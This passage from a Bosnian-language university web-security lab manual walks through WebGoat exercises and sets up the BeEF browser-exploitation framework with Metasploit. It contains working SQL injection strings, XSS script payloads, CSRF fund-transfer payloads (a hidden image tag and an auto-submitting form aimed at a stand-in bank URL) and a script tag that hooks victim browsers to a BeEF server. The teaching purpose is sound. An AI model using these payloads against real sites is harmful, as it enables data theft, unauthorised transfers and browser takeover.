i izmijenio na potreban nacin. Kao i u prethodnim sluc¢ajevima u Burp web
posredniku je potrebno aktivirati presretanje HT'TP zahtjeva. Nakon toga
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=  Numeric SQL Injection

Show Solution [l Show Plan Restart Lesson

SQL injection attacks represent a serious threat to any database-driven
site. The methods behind an attack are easy to learn and the damage
caused can range from considerable to complete system compromise.
Despite these risks, an incredible number of systems on the internet
are susceptible to this form of attack.

Not only is it a threat easily instigated, it is also a threat that, with a
little common-sense and forethought, can easily be prevented.

It is always good practice to sanitize all input data, especially data that
will used in OS5 command, scripts, and database queries, even if the
threat of SQL injection has been prevented in some other manner.
General Goal(s):

The form below allows a user to view weather data. Try to inject an SQL
string that results in all the weather data being displayed.

Select your local weather station: | Columbia v

Go!

SELECT * FROM weather_data WHERE station = [station]

Slika 9.20: WebGoat lekcija - Umetanje SQL komandi (numericko)

treba kliknuti na dugme ”Go!” u WebGoat lekciji.

U Burp web posredniku moguce je vidjeti parametre HTTP zahtjeva. Para-
metar koji se prosljeduje web aplikaciji zove se station i njegova vrijednost
je 101.

Ako se analizira, gore navedena SQL komanda kojom se vrsi izbor lokacija
za koju Ce se ispisati meteoroloski podaci:
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SELECT * FROM weather_data WHERE station = 101

vidi se da da se na vrijednost parametra 101 moze dodat nastavak koji ce
predstavljati dodatni uslov koji se provjerava putem kljuéne SQL rijec¢i OR.
Ako taj dodatni uslov bude nesto §to je uvijek ta¢no, poput 1=1, onda ée se
postiéi zeljeni rezultat da se ispiSu podaci za sve lokacije.

Prema gornjem, ako se zele ispisati podaci za sve lokacije onda se na para-
metar sa brojem lokacije treba dodati slijedeéi niz znakova:

OR 1=1

Sada ¢e komanda koja ¢e se izvrsiti biti:
SELECT * FROM weather_data WHERE station = 101 OR 1=1

rezultat bi trebao biti ispisivanje meteoroloskih podataka za sve lokacije. Ove
izmjene uradene su u Burp web posredniku kako je prikazano na slici 9.21.

POST reguest to fWebGoat/attack

Twpe | Name | value

URL Screen 101829144

URL menu 1100

Cookie JSESSIOMNID ECl969B3F4898A67CF3S1AEDSRE4CCOS
| Body station [Lo1 or 1=]]

Body SUBMIT Gol

Slika 9.21: Burp Suite - izmijenjeni numericki SQL parametar

Kada se ovaj izmijenjeni parametar proslijedi web aplikaciji u HTTP zah-
tjevu desava se upravo zeljeni efekat da uslov koji se ispituje za izbor lokacije
(station) bude uvijek, za sve lokacije, ispunjen i da se prikazu podaci za sve
lokacije. Ovo se moze vidjeti i na slici 9.22.

Napad je bio uspjesan, ali WebGoat sada upozorava da je promijenio kod
aplikacije i da sada koristi parametrizirane upite. Ovako definisani upiti
sprecavaju interpretaciju podataka koje korisnik Salje kao komandi. Na ovaj
nacin se onemogucava unosenje kljuénih SQL rijeci koje ¢e aplikacija inter-
pretirati.
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* Bet you can't do it again! This lesson has detected your
successful attack and has now switched to a defensive mode.
Try again to attack a parameterized query.

Select your local weather station: | Columbia v

Go!

SELECT * FROM weather_data WHERE station = 101 OR 1=1

STATION |[NAME STATE|MIN_TEMP MAX_TEMP
101 Columbia MD -10 102

102 Seattle WA -15 90

103 New York NY -10 110

104 Houston > 20 120

10001 Camp David MD -10 100

11001 Ice Station Zebra|NA -60 30

Slika 9.22: WebGoat lekcija - Rezultat umetanja SQL komandi (numerickog)

I zaista, kada se napad ponovi na isti nac¢in ne dobije se ispis podataka za sve
lokacije ve¢ poruka o gresci;

Error parsing station as a number: For input string: "101 OR 1=1"
Upit je ocekivao broj, a dobio je nesto drugo i ne moze se izvrsiti. Ovim Web-
Goat pokazuje i kako se zastiti od napada umetanja SQL komandi.

2. Injection Flaws — String SQL Injection
Rjesenje: Sada je sa stavke Injection Flaws” izabrana podstavka ”String SQL
Injection”. U glavnom okviru sa desne strane od spiska pojavljuje se postavka
zadatka kao na slici 9.23.

Cilj ove lekcije je se nauci kako je moguce prevariti aplikaciju umetanjem do-
datnih dijelova SQL komande u string parametre koji se 3alju web aplikaciji,
tako da se ta komanda izvrsi na sa rezultatom koji napadac zZeli umjesto onog
koji je planiran kodom aplikacije.

Aplikacija je napravljena da omogudéi korisniku da unese prezime za koje zeli
da se prikazu podaci o kreditnim karticama. Cilj napada je da se ispisu svi
podaci o kreditnim karticama za sva prezimena. Iz ispisa ispod postavke za-
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=  String SQL Injection

Show Solution | Show Plan [l Show Hints =S el R3]

SQL injection attacks represent a serious threat to any database-driven
site. The methods behind an attack are easy to learn and the damage
caused can range from considerable to complete system compromise.
Despite these risks, an incredible number of systems on the internet
are susceptible to this form of attack.

Not only is it a threat easily instigated, it is also a threat that, with a
little common-sense and forethought, can easily be prevented.

It is always good practice to sanitize all input data, especially data that
will used in OS command, scripts, and database queries, even if the
threat of SQL injection has been prevented in some other manner.
General Goal(s):

The form below allows a user to view their credit card numbers. Try to
inject an SQL string that results in all the credit card numbers being
displayed. Try the user name of "Smith’.

Enter your last name:| Your Name Go!

SELECT * FROM user_data WHERE last_name = 'Your Name'

No results matched. Try Again.

Slika 9.23: WebGoat lekcija - Umetanje SQL komandi (string)

datka, kada se unese prezime ”Smith” vidi se da web aplikacija koristi SQL
komandu SELECT kojoj je uneseno prezime parametar za izbor podataka.
SELECT * FROM user_data WHERE last_name = ’Smith’

Na osnovu ovoga se moze pretpostaviti da je moguce izmijeniti parametar koji
se koristi za formiranje SQL komande da se na njega dodaju znakovi koji ¢e
SQL interpretirati kao dio komande. Takode se moze pretpostaviti da se kao



220 9 VJEZBA: Testiranje razlicitih sigurnosnih propusta u web aplikaciji

parametar sa web forme Salje niz znakova (string) koji predstavlja prezime
po kom se vrsi pretraga, ovdje ”Smith”. Web forma aplikacije omogucava
unoSenje parametara po zelji napadaca pa nije neophodno koristiti Burp web

posrednik za njihovu izmjenu®.

Ako se analizira, gore navedena SQL komanda kojom se vrsi izbor za koga
¢e se ispisati podaci o kreditnim karticama vidi se da da se na vrijednost
parametra ”Smith” moze dodati nastavak koji ¢e predstavljati dodatni uslov
koji se provjerava putem klju¢ne SQL rije¢i OR. Ako taj dodatni uslov bude
nesto $to je uvijek tac¢no, poput ’a’=’a’, onda ¢e se posti¢i zeljeni rezultat
da se ispiSu svi podaci o kreditnim karticama. Medutim, web aplikacija do-
daje znak jednostrukog navoda (’) nakon parametra koji joj se posalje, da bi
oznacila kraj niza znakova i napravila ispravan SQL upit. Iz tog razloga nije
neophodan posljednji znak jednostrukog navoda nakon slova a.

Prema gornjem, ako se zele ispisati svi podaci za kreditne kartice onda se
polje za unos podataka na web formi treba upisati bilo koji niz slova iza koga
slijedi navedeni niz znakova ” ’ or ’a’=’a”. U konkretnom slucaju u web
formu je unesen slijedeéi niz znakova:

Sasa’ or ’a’=’a

Kada se ovaj niz znakova, kao parametar, proslijedi web aplikaciji u HT'TP
zahtjevu deSava se upravo Zeljeni efekat da uslov koji se ispituje za izbor
koje kreditne kartice prikazati (last_name) bude uvijek, za svako prezime,
ispunjen i da se prikazu podaci o svim kreditnim karticama. Uneseni niz
znakova i rezultat se mogu vidjeti na slici 9.24.

Napad je bio uspjesan, ali WebGoat opet upozorava da je promijenio kod
aplikacije i da sada koristi parametrizirane upite. Ovako definisani upiti
sprecavaju interpretaciju podataka koje korisnik Salje kao komandi. na ovaj
nac¢in se onemogucava unoSenje kljuénih SQL rijec¢i koje ¢e aplikacija inter-
pretirati.

I zaista, kada se napad ponovi na isti nacin ne dobije se ispis podataka za sve
kreditne kartice ve¢ poruka o gresci;
No results matched. Try Again.
Upit je izvrsen tako Sto je kao prezime po kom se vrsila pretraga koriSten
kompletan niz znakova koji je unesen u web formu (skupa sa znacima jed-
nostrukog navoda). Posto takvo prezime ne postoji u bazi upit nije vratio

4 Da su postojala ograni¢enja koja provodi web forma, opet bi se mogla zaobiéi upo-
trebom web posrednika
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stage
* Now that you have successfully performed an SQL injection, num
try the same type of attack on a parameterized query. Restart
the lesson if you wish to return to the injectable query.
Enter your last name:|' Sasa' or 'a'='a ‘ Gao!
SELECT * FROM user_data WHERE last_name = 'Sasa' or 'a'='a'
USERID [FIRST_NAME|LAST NAME CC_NUMBER CC_TYPE|COOKIE LOGIN_COUNT
101 Joe Snow 987654321 VISA 0
101 Joe Snow 2234200065411 [MC 0
102 John Smith 2435600002222 [MC 0
102 John Smith 4352209902222 |AMEX 0
103 Jane Plane 123456789 MC 0
103 Jane Plane 333498703333 |AMEX 0
10312 |Jolly Hershey 176896789 MC 0
10312 |Jolly Hershey 333300003333 |AMEX 0
10323 |Grumpy youaretheweakestlink (673834489 MC 0
10323 |Grumpy youaretheweakestlink (33413003333  |AMEX 0
15603 |Peter Sand 123609789 MC 0
15603 |Peter Sand 338893453333 |AMEX 0
15613 |Joesph Something 33843453533 |AMEX 0

Slika 9.24: WebGoat lekcija - Rezultat umetanja SQL komandi (string)

ni jedan zapis. Ovim WebGoat ponovo pokazuje i kako se zastiti od napada
umetanja SQL komandi.

9.6 WebGoat - XSS (Cross-Site Scripting)

Na WebGoat aplikaciji uraditi lekciju vezanu za Cross-Site Scripting.

1. Cross-Site Scriptng (XSS) — Stored XSS
Rjesenje: Za pokazivanje konkretnog zadataka izabrana je stavka ” Cross-Site
Scriptng (XSS)” sa spiska sa lijeve strane. Nakon klika na ovu stavku ispod
nje se pojavljuju podstavke. Sa spiska podstavki potrebno je, klikom na nju,
izabrati ”Stored XSS Attack”. U glavnom okviru sa desne strane od spiska
pojavljuje se postavka zadatka kao na slici 9.25.
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=  Stored XSS Attacks

Show Solution | Show Plan [l Show Hints [EEEHEldR-EELT

It is always a good practice to scrub all input, especially those inputs
that will later be used as parameters to OS commands, scripts, and
database queries. It is particularly important for content that will be
permanently stored somewhere in the application. Users should not be
able to create message content that could cause another user to load

an undesireable page or undesireable content when the user's message
is retrieved.

Title: | ]

Message:

Submit

Message List

Slika 9.25: WebGoat lekcija - Pohranjeni XSS napad

Cilj ove lekcije je da se nauci kako je moguce da jedan korisnik web aplikacije
postigne da se u web preglednik nekog drugog korisniku iste aplikacije ucita

nezeljena stranica ili sadrzaj.

Aplikacija je napravljena da omoguéi korisniku da objavi poruku koja ima
naslov i neki sadrzaj. Cilj napada je da se pogodnim formatiranje sadrzaja
poruke izazove njegova interpretacija u web pregledniku drugog korisnika
koji bude ¢itao to poruku kad ona bude pohranjena u web aplikaciji. Nakon
probnog unosenja jedne poruke sa naslovom vidi se da se poruka pojavljuje
kao link klikom na koji se prikazuje tekst poruke onako kako je unesen, kao

na slici 9.26.
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Message Contents For: Prva

Title: Prva
Message: Tekst poruke
Posted by: guest

Message List

Prva

Slika 9.26: WebGoat lekcija - Pohranjeni XSS napad - probna poruka

Na osnovu ovoga se moze pretpostaviti da je moguce u polje za tekst poruke
unijeti znakove koje ¢e web preglednik interpretirati kao skriptne komande
koje ¢e izvrsiti prilikom ucitavanja teksta poruke i prikazivanja korisniku.

Komande skriptnog jezika JavaScript koji podrzavaju web preglednici uba-
cuju se u unutar oznaka <script> </script>. Ako se u polje za tekst poruke
unese neka komanda unutar oznaka za skriptu, ta komanda ¢e biti izvrsena
u web pregledniku koji bude otvarao poruku.

Napravljena je nova poruka sa naslovom ”"Napad”, a u polje za tekst poruke
unesen je slijede¢i niz znakova:

<script>alert ("Ovo je pohranjeni XSS napad!”);</script>

Zatim je klikom dugme ”Submit” ¢ime je poruka pohranjena.

Sada se na listi pohranjenih poruka pojavila i poruka sa naslovom ”Na-
pad”. Klikom na ovaj naslov poruke umjesto prostog ispisivanja teksta poruke
izvrsava se skriptna komanda i iskace prozor na kom piSe tekst onoga §to je
upisano u alert komandu, kako je prikazano na slici 9.27.

Napad je bio uspjesan. Ovdje je umetnuta relativno bezopasna komanda koja
samo ispisuje poruku. Umjesto nje bilo je moguce izvrsiti neku drugu skrip-
tnu komandu koja bi recimo poslala identifikacijski niz znakova (cookie) na
lokaciju pod kontrolom napadaca. Ovim bi napada¢ dosao u moguénost da se
aplikaciji predstavi kao korisnik koji je kliknu na poruku u koju je umetnut
skriptni kod.
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Ovo je pohranjeni XSS napad!

Slika 9.27: WebGoat lekcija - Rezultat pohranjenog XSS napada

Cross-Site Scriptng (XSS) — Reflected XSS

Rjesenje: Sada je sa stavke ” Cross-Site Scriptng (XSS)” izabrana podstavka
"Reflected XSS Attack”. U glavnom okviru sa desne strane od spiska pojav-
ljuje se postavka zadatka kao na slici 9.28.

Cilj ove lekcije je da se nauci kako je moguce da ono §to je dio HT'TP zahtjeva
bude "reflektovao” nazad ka korisniku, jer se parametri zahtjeva koriste za
kreiranje stranice koja se prikazuje korisniku.

Aplikacija je napravljena da omogudi korisniku da obavi kupovinu izborom
koli¢ine svake od c¢etiri ponudene stavke, te da unosom broja kreditne kartice
i pristupnog koda obavi kupovinu izabranih artikala. Nakon klika na dugme
”Purchase” korisniku se prikazuje ista stranica sa azuriranim podacima. Cilj
napada je da se pogodnim formatiranje sadrzaja nekog od polja izvrsi kod
po zelji napadaca u pregledniku. U praksi se ovakvi napadi izvode slanjem
zrtvi linka na stranicu u kom su pripremljeni parametri u kojim su upisane
skriptne komande koje se trebaju izvrsiti.

Moze se pretpostaviti da je moguce u polje za unos broja kartice ili koda
unijeti znakove koje ¢e web preglednik interpretirati kao skriptne komande

koje ¢e izvrsiti prilikom ucitavanja teksta poruke i prikazivanja korisniku.

U polje za pristupni kod unesen je slijede¢i niz znakova:
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= Reflected XSS Attacks

Show Source [l Show Solution il Show Plan || Show Hints [lilESElgdR=1370

Itis always a good practice to validate all input on the server side. X55 can occur
when unvalidated user input is used in an HTTP response. In a reflected X5S
attack, an attacker can craft a URL with the attack script and post it to another
website, email it, or otherwise get a victim to click on it.

Shopping Cart

Shopping Cart ltems -- To Buy Now |Price |Quantity Total
Studio RTA - Laptop/Reading Cart with
i 6999| 1 0.00
Tilting Surface - Cherry |7| $
Dynex - Traditional Notebook Case 27.99 | 1 $0.00
Hewleu—PaFkard - Pavilion Notebook with i | : | $0.00
Intel Centrino L J
3 - Year Performance Service Plan $1000 r :
3 299.99||1 ||$0.00
and Over -
The total charged to F—————
9 $0.00 | Updatecart |

your credit card:

Enter your credit card | s e |

number:
Enter your three digit
. T |
access code: | J
| purchase |

Slika 9.28: WebGoat lekcija - Privremeni XSS napad
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<script>alert (”Ovo je privremeni XSS napad!”);</script>

Zatim je kliknuto na dugme ”Purchase”.

Sada je web aplikaciji proslijeden parametar u kom se nalaze skriptne naredbe
koji ¢e ona vratiti korisniku Sto ¢e izazvati izvrSavanje ovih naredbi u web
pregledniku. Na osnovu ovoga se umjesto azuriranja informacija o kupovini
izvrsava skriptna komanda i iskace prozor na kom piSe tekst onoga Sto je
upisano u alert komandu, kako je prikazano na slici 9.29.

Ovo je privremeni XSS napad!

Slika 9.29: WebGoat lekcija - Rezultat privremenog XSS napada

Napad je bio uspjesan. Ovdje je umetnuta relativno bezopasna komanda koja
samo ispisuje poruku. Umjesto nje bilo je mogudée izvrsiti neku drugu skrip-
tnu komandu koja bi recimo poslala identifikacijski niz znakova (cookie) na
lokaciju pod kontrolom napadaca. Ovim bi napada¢ dosao u moguénost da
se aplikaciji predstavi kao korisnik koji je kliknu na poruku u koju je umetnu
skriptni kod.

Crross-Site Scriptng (XSS) — Cross Site Request Forgery (CSRF)

Rjesenje: Sada je sa stavke ” Cross-Site Scriptng (XSS)” izabrana podstavka
”Cross Site Request Forgery (CSRF)”. U glavnom okviru sa desne strane od
spiska pojavljuje se postavka zadatka kao na slici 9.30.
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Cross Site Request Forgery (CSRF)

Show Solution [l Show Plan | Show Hints s E s Bl

Your goal is to send an email to a newsgroup. The email contains an image whose
URL is pointing to a malicious request. In this lesson the URL should point to the
"attack" servlet with the lesson's "Screen" and "menu" parameters and an extra
parameter "transferFunds" having an arbitrary numeric value such as 5000. You
can construct the link by finding the "Screen" and "menu" values in the
Parameters inset on the right. Recipients of CSRF emails that happen to be
authenticated at that time will have their funds transferred. When this lesson's
attack succeeds, a green checkmark appears beside the lesson name in the menu
on the left.

Title: \ |

Message:

Submit

Cookies | Par

Cookiels

name JSES
value 2BC
comment
domain
maxAge |-1
path

secure falsi
version |0
httponly | fals

Parameters

sCr 2078372
menu %00
stage

num

Slika 9.30: WebGoat lekcija - Cross Site Request Forgery (CSRF)

Cilj ove lekcije je se nauci kako je moguée korisniku koji je prijavljen na jednu
web lokaciju u drugoj web lokaciji dostaviti stranicu koja ¢e uciniti da se izvrsi
nesto na onoj prvoj lokaciji na koju je korisnik prijavljen.

Aplikacija je napravljena da omoguéi slanje (postavljanje) poruka vedem
broju korisnika. Poruka koja se kreira bi¢e dostupna svim korisnicima. Ideja
napada je da se unutar poruke nalazi HTML element koji ¢e prouzrokovati
HTTP zahtjev ka drugoj web lokaciji na koju je u tom trenutku korisnik
koji otvori poruku prijavljen. Zahtjev se odnosi na objekat koji izvrSava neku
radnju, poput prenosa sredstava, i u sklopu URL se dostavljaju i parametri
zahtjeva, poput iznosa koji repa prenijeti i broja ra¢una na koji se vrsi prenos
sredstava. Posto je korisnik ve¢ prijavljen na toj web lokaciji izvrSi¢e zadana
radnja pod prijavom tog korisnika. Da bi se od napadnutog korisnika sakrio
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ovaj napad, moze se u tekst poruke ubaciti oznaka za ucitavanje slike, mini-
malne velicine 1x1 piksela da se vidi, u koju se kao lokacija slike upisuje URL
kom se zeli poslati HTTP zahtjev sa svim parametrima, na primjer

<img src="https://www.banka_zrtve.ba/isplata?
na_racun=161389&iznos=10.000" width="1" height="1"/> \\

Utcitavanje ovog koda u web preglednik zrtve ¢e prouzrokovati da se napravi
gornji HTTP zahtjev. Ako je zahtjev ispravno formatiran (a napadac to moze
isprobati ranije tako $to bude korisnik iste banke) i zrtva je prijavljena na
web lokaciju banke, izvrsi¢e se prenos sredstava bez znanja i saglasnosti zrtve,
korisnika koji je u¢itao poruku sa CSRF napadom.

U polje "Title” upisano je CSRF poruka, a u tekstualno polje poruka sa
ubacenim gore navedenim dodatkom za ucitavanje slike, kako je prikazano na
slici 9.31.

Title: CSRF poruka

Message: Ova poruka ima i "nevidljivu" sliku
koja prouzrokuje HTTP zahtiev koji je CSRF napad,
zahtiey ka lokacilu pa koju je Zrtva, keia |g utitala poruku,
prijavliena, bez njenag znanja i saglasnosti.
<img src="https://www.banka_zrtve.ba/isplata?
na_racun=161389&jznos=10.000" width="1" height="1"/>|

Submit

Slika 9.31: WebGoat lekcija - CSRF priprema napada

Nakon klika na dugme ”Submit” poruka se zapisuje i postaje dostupna dru-
gim korisnicima u dijelu stranice koji se zove Message List. Kada se klikne na
link sa naslovom poruke "CSRF poruka” uéitava se tekst poruke. U sklopu
ucitavanja teksta poruke izvrsi se i HT'TP zahtjev vezan za oznaku IMG.
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U konzoli web preglednika moze se vidjeti da je upucen zlonamjerni HT'TP
zahtjev. Slike 9.32 i 9.33 prikazuju izvrseni HTTP zahtjev u konzoli.

Cookies Params Response

Request URL: https://www.banka zrtve.ba/isplata?na_racun=161389&iznos=10.000
Request method: GET
Filter headers

* Request headers (0,318 KB)

Host: "www.banka_zrtve.ba"

User-Agent: "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:49.0) Gecko/20100101 Firefox,/49.0"

Accepk: "*/*"

Accept-Language: "en-US,en;g=0.5"

Accept-Encoding: "gzip, deflate, br"

Referer; "http://localhost:8080/wWebGoat/start.mvc"

Connection: "keep-alive”

Slika 9.32: WebGoat lekcija - Izvrsenje CSRF napada (HTTP zahtjev)

Filter request parameters
* Query string
na_racun: "161389"
iznos: "10.000"

Slika 9.33: WebGoat lekcija - CSRF parametri HTTP zahtjeva

Napad je bio uspjesan, u toliko $to je bez znanja i saglasnosti korisnika, a u
njegovo ime poslan HTTP zahtjev ka nekoj web lokaciji.

Ovdje je pokazan jednostavan primjer sa GET HTTP zahtjevom. Banke
mnogo cesée koriste POST metodu. U tom sluc¢aju se ne moze koristiti IMG
oznaka, ali se moze napraviti forma, koja se automatski Salje upotrebom
JavaScript-a. Za gornji napad kod koji treba ubaciti bi bio slijedeéi:
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<body onload="document . forms [0].submit()”>

<form action="https://www.banka_zrtve.ba/isplata”
method="POST" >

<input type="hidden” name="na._racun” value="161389"/>

<input type="hidden” name="iznos” value="10.000"/>

</form>

Potrebno je napomenuti da HTTPS | kao i kod XSS ne pomaze jer se napad
Salje od strane prijavljenog korisnika po uspostavljenoj HT'TPS konekciji.
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Cilj ove vjezbe je upoznavanje studenata sa moguéno$éu napada na web pregled-
nika te na rac¢unar na kom se izvrsava napadnuti web preglednik. Web preglednici
se danas intenzivno koriste jer je sve veéi broj usluga koje se nude preko weba.
Tradicionalno su web preglednici bili intenzivno testirani od strane napadaca i
pronadeni sigurnosni propusti u njima koristeni za napade

10.1 Priprema - Instalacija BeEF

Instalirati BeEF okruzenje za provjeru moguénosti iskoristavanja sigurnosnih pro-
pusta kroz web preglednike (http://beefproject.com/)

Rjesenje: The Browser Exploitation Framework (BeEF) je okruzenje za testi-
ranje sigurnosti web preglednika. Ovo okruzenje pokazuje kakve napade je moguce
izvrsiti na web preglednik kao i na korisnike ra¢unara na kom se izvrSava napad-
nuti web preglednik. S obzirom da je od pojave web preglednika uvijek bilo sigur-
nosnih propusta u njima bitno je upoznati se i sa ovim aspektom web sigurnosti.
Stranica BeEF projekta se nalazi na adresi:
http://beefproject.com/

Do uputa za instalaciju moze se do¢i putem linka Wiki sa pocetne stranice.
U vrijeme pisanja adresa na kojoj su se nalazile ove instrukcije bila je:
https://github.com/beefproject/beef/wiki/Installation

Da bi se BeEF mogao koristiti neophodno je prethodno instalirati potrebni
softver. Potrebno je instalirati curl, git i nodejs, te ruby i bundler. U kon-
kretnom slucaju to je na koristenom Ubuntu 16.04 ostvareno prema uputama
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slijede¢im komandama:

sudo apt-get update

sudo apt-get install curl git nodejs

curl -sSL https://get.rvm.io | bash -s stable

source /.rvm/scripts/rvm

rvm install 2.3.0
rvm use 2.3.0 -- default
gem install bundler

Slijedeéi korak je preuzimanje tekuce verzije BeEF. Nakon prebacivanja na
zeljenu lokaciju instalacije pokrenuto je preuzimanje komandom:
git clone git://github.com/beefproject/beef.git

Da bi se okoncala instalacije bilo je potrebno prebaciti se u folder u koji je
BeEF preuzet i pokrenuti bundler koji ¢e preuzeti i instalirati potrebne gem-ove
za rad BeEF. To se ostvaruje komandama:
cd beef
bundle install

U ovom procesu pripreme korisno je napraviti prilagodbe u konfiguracionoj
datoteci BeEF config.yaml koja se nalazi na lokaciji na koju je instaliran BeEF.
U ovoj datoteci definisane su postavke BeEF poput korisnickog imena i lozinke
koje su promijenjene sa svojih vrijednosti beef/beef na nove vrijednosti. Ko-
risnicko ime je ostalo isto, a izabrana je adekvatna (prema poglavlju 3) lozinka. U
navedenoj datoteci potrebno je u dijelu credentials: promijeniti polje passwd.
Taj dio datoteke treba da izgleda na slijedeé¢i nacin;
credentials:
user: "beef"
passwd: "Vrijednost nove_lozinke"

Pored ove napravljena je jo§ jedna mala promjena koja omogucava integra-
ciju sa Metasploit. U navedenoj datoteci potrebno je u dijelu extensions: stavka
metasploit promijeniti polje enable koja omogucava zeljenu integraciju na vri-
jednost true. Taj dio datoteke treba da izgleda na slijede¢i nacin;
metasploit:
enable: true

Integraciju je potrebno aktivirati i u Metasploit na slijedeéi nacin:
Pokrenuti msfconsole i u njoj unijeti komandu:
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load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123 SSL=y

Rezultat unosenja komande u Metasploit prikazan je na slici 10.1. Ovim se u
Metasploit ucitava dodatak (plugin) koji omoguéava da se Metasploit poziva iz
BeEF. Navedeno korisnicko ime i lozinka definisani su (i mogu se promijeniti) u
datoteci config.yaml, ali koja se nalazi na lokaciji extensions/metasploit/ u
odnosu na lokaciju na koju je instaliran BeEF.

msf > load msgrpc ServerHost=127.8.0.1 User=msf Pass=abc123 SSL=y
[*] MSGRPC Service: 127.8.0.1:55552 (SSL)

[#*] MSGRPC Username: msfT

[*] MSGRPC Password: abci123
[*]

msf

Suicessfully loaded plugin: msgrpc
=

Slika 10.1: Metasploit - Uc¢itavanje dodatak za povezivanje sa BeEF

Sada se moze pokrenuti BeEF komandom:
./beef

U konzoli se ispisuje redoslijed dogadaja prilikom pokretanja BeEF kako je
prikazano na slici 10.2. Iz ispisa se moze vidjeti da se BeEF povezao sa Metas-
ploit i u¢itao 295 kodova za iskoristavanje sigurnosnih propusta (ezploit). BeEF je
ucitao 12 prosirenja i 593 modula. Na osnovu dva prepoznata mrezna interfejsa
na njihovim IP adresama (127.0.0.1 i 192.168.10.134) na portu 3000 je pokre-
nut server koji ocekuje konekcije. Na lokaciji /hook.js je web skripta koja se
posluzuje web preglednicima koji se zele napasti. Na lokaciji /ui/panel se pris-
tupa interfejsu za administraciju BeEF.

Administrativnoj konzoli BeEF se pristupa putem adrese (moze biti potrebno
omoguéiti Adobe Flash):
http://localhost:3000/ui/panel

Prilikom pristupa ovoj adresi web preglednik bude preusmjeren na stranicu
za prijavljivanje na BeEF administrativnu konzolu
http://localhost:3000/ui/authentication kako je prikazano na slici 10.3.
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smrdovic@VB16@4:~/Documents/TS/beefs . /beef

[13:17:48] Bind socket [imapeudorail] listening on [0.0.0.0:2000].
[13:17:48] Browser Exploitation Framework (BeEF) 0.4.7.@-alpha
[13:17:48] | Twit: @beefproject

[13:17:48] | Site: http://beefproject.com

[13:17:48] | Blog: http://blog.beefproject.com

[13:17:48] | Wiki: https://github.com/beefproject/beef/wiki
[13:17:48] Project Creator: (@WadeAlcorn)

[13:17:49] Connecting to Metasploit on 127.8.8.1:55552
I[13:1?:49] Successful connection with Metasploit.

[13:18:01] Loaded 295 Metasploit exploits.

[13:18:01] BeEF is loading. Wait a few seconds...
[13:18:07] 12 extensions enabled.

[13:18:07] 593 modules enabled.

[13:18:07] 2 network interfaces were detected.
[13:18:87][+] running on network interface: 127.0.0.1
[13:18:07] | Hook URL: http://127.0.0.1:3000/hook.]js
[13:18:07] | _ UI URL: http://127.08.0.1:3000/ui/panel
[13:18:07][+] running on network interface: 192.168.10.134
[13:18:07] | Hook URL: http://192.168.10.134:3000/hook. js
[13:18:07] | UI URL: http://192.168.10.134:3000/ui/panel

[13:18:07] RESTful API key: 5a8d8ff83df27dfeb8bee9c22261730118023de3
[13:18:087] HTTP Proxy: http://127.0.8.1:6789
{fS:iB:B?] BeEF server started (press control+c to stop)

Slika 10.2: BeEF - Ispis informacija prilikom pokretanja

10.2 Napadi na web preglednike upotrebom BeEF

Koristenjem funkcija iz BeEF okruzenje analizirati moguénost preuzimanja kon-
trole nad web preglednikom i neke moguce posljedice tog preuzimanja kontrole.

10.2.1 Povezivanje web preglednika sa BeEF

Rjesenje: BeEF okruzenje omogucava povezivanje web preglednika sa BeEF
serverom putem JavaScript koda koji se posluzi pregledniku. Kroz ovu vezu
se onda mogu slati komande web pregledniku ¢ije mogucénosti su ogranicene
mogucnostima JavaScript. Posto savremeni web preglednici intenzivno koriste
JavaScript postoji veliki broj moguéih zloupotreba ostvarivih na ovaj nacin.

Na ekranu za prijavljivanje na BeEF prikazanom na slici 10.3 potrebno je
unijeti izabrane korisnicke podatke za prijavu prilikom konfiguracije, §to je u
konkretnom slucaju bilo beef/Vrijednost nove_lozinke.
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BeEF Authentication - Mozilla Firefox

BeEF Authentication

€ ©®127.0.01 - @ | [ search &@E »

Authentication

Username: beef

Password: | sesesses .|

Login

Slika 10.3: BeEF - Stranica za prijavu na administrativnu konzolu

Nakon prijave pojavljuje se ekran BeEF konzole kako je prikazano na slici
10.4.

Sa slike se moze vidjeti da na lijevoj strani ne postoji ni jedan web preglednik
koji je povezan sa BeEF. Da bi se iz BeEF konzole moglo pristupati web pregled-
nicima potrebno ih je povezati (hook) sa BeEF konzolom. Web preglednik se sa
konzolom povezuje tako sto ucita JavaScript kod koji to omogucéava. Sada e se to
ostvariti tako Sto ¢e se sa web preglednikom posjetiti web stranica koje ¢e ucitati
ovaj kod. Adresa te stranice navedena je kao link na pocetnoj stranici BeEF kon-
zole i glasi http://192.168.10.134:3000/demos/basic.html. U azurnom web
pregledniku Mozilla Firefox na azurnom Windows 10 unesena je ova adresa. U
web pregledniku se prikazuje stranica prikazana na slici 10.5.

Nakon ucitavanja stranice u web preglednik, u BeEF konzoli se taj preglednik
prikazuje na listi povezanih web preglednika sa ikonom preglednika, operativnog
sistema i [P adresom racunara. Klikom na tu oznaku preglednika na lijevoj strani
prozora u desnom dijelu prozora se ispisuju detalji o web pregledniku kako je
prikazano na slici 10.6. Treba naglasiti da se isto deSava i za druge web preglednike
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BeEF Control Panel - Mozilla Firefox

BeEF Control Panel

€ | @ | 127.0.0.1:3000/ui/pane E1| & | |Q search YT BE » =
ﬁ BeEF 0.4.70-alpha | Submit Bug | Logout

: Hooked Browsers Getting Started x| Logs
(27 Online Browsers

(2] Offline Browsers

—eEF

THE BROWSER EXPLOITATION FRAMEWORK PROJECT

Official website: http://beefproject.com/

Getting Started
Welcome to BeEF!

Before being able to fully explore the framework you wil have to *hook’ a browser. To
point a browser towards the basic demo page here, or the advanced version here.

If you want to hook ANY page (for debugging reasons of course), drag the following £

Basic Requester into your browser's bookmark bar, then simply click the shortout on another page: He

Slika 10.4: BeEF - Konzola

(Google Chrome i Microsoft Edge).

Web preglednik je bilo moguée povezati na BeEF i bez znanja i saglasnosti
korisnika, recimo, upotrebom XSS napada. Prilikom napada pokazanih u pret-
hodnoj vjezbi umjesto skripte koja prikazuje iskacuci prozor sa porukom moze se
ubacila skripta koja ucitava BeEF hook. U tom sluc¢aju bi skriptni dio izgledao:
<script src="http://192.168.10.134:3000/hook.js"></script>

Ovo je konkretan primjer za ovu vjezbu, ali bi za napad globalnom Internetu
skripta hook. js morala biti na javnoj IP adresi i portu koji je dostupan. Iz ovog
razloga su bitne zastite od XSS napada objasnjenje u prethodnoj vjezbi. U po-
